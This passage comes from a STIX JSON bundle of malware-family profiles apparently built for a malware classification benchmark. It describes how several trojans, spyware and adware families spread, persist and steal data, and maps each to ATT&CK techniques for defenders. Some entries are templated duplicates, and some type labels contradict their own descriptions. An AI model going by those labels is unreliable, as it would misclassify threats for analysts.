      "description": "Trojan:Win32/Filoskeed is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Filoskeed</b><br>To an end-user, a Filoskeed infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Filoskeed is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Filoskeed is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Filoskeed frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Filoskeed reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Filoskeed",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/filoskeed"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b46eb46-bb34-5345-aef2-ccdc416f305a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf64301c-4f72-5cf1-b16f-bcae959fd47b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filoskeed exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--385788c4-ddf6-548c-a21c-dbd5a39746fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf64301c-4f72-5cf1-b16f-bcae959fd47b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filoskeed exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfd784f9-e338-57b5-ab9c-6f1d12b6c72e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf64301c-4f72-5cf1-b16f-bcae959fd47b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filoskeed exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e5b61dc-aac9-59d1-b482-a755a65dbd81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf64301c-4f72-5cf1-b16f-bcae959fd47b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filoskeed exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c633e283-099c-5303-a88d-3d5253765445",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bf64301c-4f72-5cf1-b16f-bcae959fd47b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Filoskeed exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ead19cf6-8594-5605-b7e2-095d5f9e4cdb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Findkeyxp",
      "description": "Trojan:Win32/Findkeyxp is a specialized InfoStealer whose primary objective is to locate, extract, and exfiltrate software license keys and product activation codes stored on the infected Windows system (`T1552.001`). Unlike broad-spectrum stealers that target browsers, Findkeyxp specifically hunts for valuable software assets that the attacker can resell.<br><br><b>Understanding Findkeyxp (License Stealers)</b><br>To an end-user, the infection is entirely invisible. Their software will continue to run normally. However, for a business, Findkeyxp represents a direct financial loss. The stolen license keys for expensive CAD software, enterprise databases, or even the Windows OS itself are aggregated and sold on underground forums or grey-market key reseller sites.<br><br><b>Execution and Extraction Mechanics</b><br>Findkeyxp is often distributed via 'cracked' software bundles or malspam. Upon execution, it does not typically establish long-term persistence, as it only needs to run once to steal the existing keys. It aggressively scans the Windows Registry (specifically querying `HKLM\\Software` and `HKCU\\Software`) (`T1012`) looking for known patterns associated with software licenses (e.g., 'ProductKey', 'Serial', 'License'). It also scans the file system for license files (`.lic`, `.key`). Once aggregated, this data is encrypted and exfiltrated to the attacker's C2 server (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is intellectual property theft and the unauthorized use of corporate software licenses by third parties. Host-based IoCs include EDR alerts for anomalous, rapid querying of thousands of registry keys by an unknown executable, and the execution of suspicious binaries from `%Temp%` or `%Downloads%`. Network IoCs include a brief burst of outbound HTTP POST traffic (exfiltrating the keys) immediately following the execution of the untrusted file. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Findkeyxp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/findkeyxp"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9d49613-9413-55b1-94f2-07212499eb3a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ead19cf6-8594-5605-b7e2-095d5f9e4cdb",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Findkeyxp exhibits technique T1552.001 (Credentials In Files (Stealing software license files and activation keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c96cd8e-775c-5c84-a69a-39db3d6a1593",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ead19cf6-8594-5605-b7e2-095d5f9e4cdb",
      "target_ref": "attack-pattern--31d6d05d-adfe-5580-9365-20731a0168a5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Findkeyxp exhibits technique T1012 (Query Registry (Scanning for stored Product Keys in the Windows Registry))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0de7eb2-cd53-518f-a72a-d973d0243a4b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ead19cf6-8594-5605-b7e2-095d5f9e4cdb",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Findkeyxp exhibits technique T1041 (Exfiltration Over C2 Channel (Sending the stolen keys to the attacker's server))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--10a9bf7a-e60c-5684-bba2-550040c48ca8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Finfish",
      "description": "Spyware:Win32/Finfish (also known as FinFisher or FinSpy) is an incredibly sophisticated, commercial-grade spyware suite. Developed by the German company Gamma International (and its UK affiliate Gamma Group), FinFisher is marketed and sold exclusively as 'lawful interception' software to law enforcement and intelligence agencies worldwide. However, it has been widely documented by human rights organizations (like Citizen Lab) being deployed by oppressive regimes against journalists, political dissidents, and activists.<br><br><b>Understanding Finfish (Commercial Spyware)</b><br>To a victim, a FinFisher infection is entirely invisible. The spyware is designed for absolute stealth and total device compromise. For a security analyst, FinFisher is the apex predator of endpoint surveillance. It grants the operator complete, undetectable control over the infected machine, allowing for real-time monitoring of all communications, even those utilizing end-to-end encryption, by capturing the data *before* it is encrypted on the device.<br><br><b>Execution and Surveillance Capabilities</b><br>FinFisher is deployed through highly targeted means, including spear-phishing with zero-day exploits (`T1190`), physical access (USB drops - `T1091`), or even ISP-level MitM attacks (FinFly ISP). Once executed, it employs aggressive anti-analysis and rootkit techniques (`T1014`) to hide its processes, files, and network connections. Its surveillance modules are vast: it can silently activate the webcam and microphone (`T1125`), log all keystrokes (`T1056.001`), exfiltrate files (`T1041`), and hook into VoIP applications (like Skype or WhatsApp) to record live conversations (`T1056.002`). It communicates with its C2 servers using custom, heavily obfuscated protocols designed to blend in with normal web traffic.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of privacy and severe compromise of sensitive data. Because FinFisher is designed to evade top-tier AV and EDR solutions, host-based IoCs are extremely difficult to find. Advanced memory forensics (`T1055`) and deep packet inspection of network traffic are usually required. Historically, researchers have identified specific strings, mutexes, and highly obfuscated virtualized code blocks (like those produced by the 'VMProtect' packer) associated with FinFisher droppers. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Finfish",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/finfish"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52f8a0ee-63ea-5ec9-9fe2-3868b057dc9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10a9bf7a-e60c-5684-bba2-550040c48ca8",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Finfish exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87d3b7a6-9ba6-5248-8c70-c8254006e6a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10a9bf7a-e60c-5684-bba2-550040c48ca8",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Finfish exhibits technique T1125 (Video/Audio Capture (Webcam and Microphone hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13a7ff3f-ed52-5c54-b1ef-72f2e5522205",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10a9bf7a-e60c-5684-bba2-550040c48ca8",
      "target_ref": "attack-pattern--a756c800-cad0-5d72-8bcc-aef0617822bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Finfish exhibits technique T1056.002 (Input Capture: GUI Input Capture (Screen recording and VoIP hooking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f0effa5-fa83-5a89-a7f9-25157d0a951f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10a9bf7a-e60c-5684-bba2-550040c48ca8",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Finfish exhibits technique T1014 (Rootkit (Hiding files, processes, and network connections))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--21d621e8-355a-5093-9fed-3b8d00b962c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Fire",
      "description": "<h3>Executive Summary</h3>\nFire (often detected generically as Virus.Win32.Fire or Trojan.Fire) represents an older class of malicious software that exhibits classic virus or worm-like behavior. While less common in modern, financially motivated ransomware attacks, \"Fire\" variants are primarily destructive or disruptive, designed to rapidly propagate across local networks and corrupt local file systems or disrupt system stability.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nThe Fire family typically propagates through older, less secure methods, such as infecting executable files on removable media (USB drives), exploiting unpatched vulnerabilities in legacy SMB protocols (like older worms), or via malicious email attachments.\n\nUpon execution, Fire variants focus on disruption and propagation:\n<ul>\n<li><strong>File Infection (Parasitic):</strong> True \"virus\" variants of Fire attempt to append their malicious code to legitimate executable files (`.exe`, `.scr`, `.dll`) on the local hard drive and mapped network shares. When the legitimate program is run, the virus code executes first.</li>\n<li><strong>Destructive Payloads:</strong> Some older variants carry destructive payloads triggered on specific dates, which may involve overwriting sector data on the hard drive, corrupting critical system files, or continuously forcing the system to reboot.</li>\n<li><strong>Network Propagation:</strong> Worm-like variants aggressively scan the local subnet for open, unauthenticated file shares or legacy vulnerabilities to copy themselves and execute laterally.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile largely mitigated by modern OS architecture and updated antivirus signatures, a localized outbreak of a Fire virus can cause significant operational disruption. The parasitic infection of legitimate executables can render critical business applications unusable, and network scanning can cause internal denial-of-service (DoS) conditions.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Network Segmentation:</strong> Immediately isolate infected subnets to halt the worm-like lateral propagation and prevent the infection of mapped network drives.</li>\n<li><strong>Specialized Antivirus Remediation:</strong> Unlike trojans, which can simply be deleted, parasitic viruses require specialized AV routines to \"disinfect\" the host files\u2014stripping the malicious code while leaving the legitimate executable intact. If disinfection fails, the files must be restored from clean backups.</li>\n<li><strong>Legacy Vulnerability Patching:</strong> Investigate how the malware propagated. The outbreak strongly indicates the presence of unpatched legacy systems or overly permissive internal file shares that must be immediately secured.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus.Win32.Fire",
        "Worm.Fire",
        "Trojan.Fire"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Fire",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/fire"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecac8415-d65f-5549-90f4-cd3f95ee1486",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21d621e8-355a-5093-9fed-3b8d00b962c6",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fire exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92f173f7-0393-5bfc-8294-e7b7613a144f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21d621e8-355a-5093-9fed-3b8d00b962c6",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fire exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d5cd47c-e606-546e-b2bc-514decfbfdfa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21d621e8-355a-5093-9fed-3b8d00b962c6",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Fire exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b4982396-0d4a-5c74-bc6b-c532d8c69d02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Firehooker",
      "description": "<h3>Executive Summary</h3>\nFirehooker is a highly specialized Information Stealer (Info-Stealer) designed specifically to target web browsers, with a historical focus on Mozilla Firefox (hence the name). Its primary objective is to execute a \"man-in-the-browser\" (MitB) attack by hooking into the browser's core API functions, allowing threat actors to intercept, record, and steal sensitive credentials, session tokens, and financial data in real-time as the user types them.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFirehooker is typically distributed as a secondary payload, dropped onto a system by an initial access broker, a downloader trojan, or via an exploit kit originating from a compromised website.\n\nUpon execution, Firehooker performs advanced, targeted espionage:\n<ul>\n<li><strong>Advanced API Hooking (MitB):</strong> Instead of relying on a simple, noisy global keylogger, Firehooker injects malicious DLLs directly into the active browser process (e.g., `firefox.exe`, `chrome.exe`). It hooks specific cryptographic and network APIs (like `PR_Write` or `HttpSendRequest`). This allows the malware to capture passwords and credit card numbers *before* they are encrypted via HTTPS/SSL.</li>\n<li><strong>Form Grabbing and Web Injects:</strong> Because it sits inside the browser, Firehooker can perform \"form grabbing\"\u2014stealing data submitted in HTML forms. Advanced variants can dynamically inject malicious HTML fields into legitimate banking websites (e.g., asking for an ATM PIN) to steal additional 2FA data.</li>\n<li><strong>Data Exfiltration:</strong> All intercepted data is compiled, encrypted, and exfiltrated via HTTP POST requests to an attacker-controlled command-and-control (C2) server.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Firehooker infection is a critical security incident. Because it operates via API hooking within the browser, the data theft is invisible to the user; the padlock icon still shows a secure HTTPS connection. The stolen session tokens and credentials can be immediately used to execute fraudulent financial transactions or access secure corporate portals.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Global Credential Reset:</strong> ALL credentials entered on the compromised machine while infected\u2014especially banking passwords, corporate VPN logins, and webmail access\u2014must be considered compromised and reset immediately from a *different, clean device*.</li>\n<li><strong>MFA Token Revocation:</strong> Assume session cookies were stolen. Force an immediate sign-out of all active sessions for critical web applications to invalidate the stolen tokens.</li>\n<li><strong>Endpoint Eradication:</strong> The sophisticated process injection techniques used by Firehooker necessitate a full forensic review. Re-imaging the machine from a trusted baseline is required to ensure complete eradication and that no hidden hooks remain in the system.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Firehooker",
        "PWS.Firehooker",
        "Banker.Hooker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Firehooker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/firehooker"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a562537-3cfe-5cde-b4bd-1c0337dca58a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4982396-0d4a-5c74-bc6b-c532d8c69d02",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Firehooker exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--744afea1-9f38-510f-ade2-5e67c46a3eec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4982396-0d4a-5c74-bc6b-c532d8c69d02",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Firehooker exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33572a7d-0c95-5dc7-a0e1-67326454d814",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4982396-0d4a-5c74-bc6b-c532d8c69d02",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Firehooker exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b09ceaa7-b195-571b-86df-c431574d627c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4982396-0d4a-5c74-bc6b-c532d8c69d02",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Firehooker exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f7d90de6-81e9-53cf-897a-311fec6e3f19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Firseria",
      "description": "Firseria (cataloged across security vendor detection feeds as Adware:Win32/Firseria, Program:Win32/Firseria, PUA:Win32/Firseria, and PUA.Win32.Firseria.AC) is a persistent adware framework and Potentially Unwanted Application (PUA) active since 2015. Engineered to monetize infected Windows systems through aggressive advertising injection and traffic redirection, Firseria spreads bundled within freeware utility packages and deceptive file-download portals. Upon installation, Firseria establishes persistent startup entries in the Windows Registry (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) and deploys background watchdog services that monitor and resurrect adware processes if terminated. The application forcefully installs helper extensions and modifier scripts into Google Chrome, Mozilla Firefox, and Microsoft Edge, injecting unwanted pop-up advertisements, banners, and in-text hyperlinks into legitimate web browsing sessions. Firseria also conducts ongoing system and browser habit profiling, exfiltrating browsing telemetry to remote marketing servers. (Observed samples in benchmark: 149)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Firseria",
        "Program:Win32/Firseria",
        "PUA:Win32/Firseria",
        "PUA.Win32.Firseria.AC",
        "Win32/Firseria"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Firseria",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/firseria"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2cd7ed68-f038-596f-abdb-686e1a85374d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7d90de6-81e9-53cf-897a-311fec6e3f19",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Firseria exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e56a891-9c7f-59ad-9c3e-23af34dbcb54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7d90de6-81e9-53cf-897a-311fec6e3f19",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Firseria exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30643581-0f05-5054-b9db-80b689139400",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7d90de6-81e9-53cf-897a-311fec6e3f19",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Firseria exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23e02e50-c81b-5883-84ce-09f2bc1e8616",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7d90de6-81e9-53cf-897a-311fec6e3f19",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Firseria exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3d8efd6-a107-52c7-ba74-610e59376fa9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f7d90de6-81e9-53cf-897a-311fec6e3f19",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Firseria exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b816dd7a-25e8-5e09-aa31-293586c2f2dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Firstinj",
      "description": "Trojan:Win32/Firstinj is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Firstinj</b><br>To an end-user, a Firstinj infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Firstinj is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Firstinj is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Firstinj frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Firstinj reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Firstinj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/firstinj"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
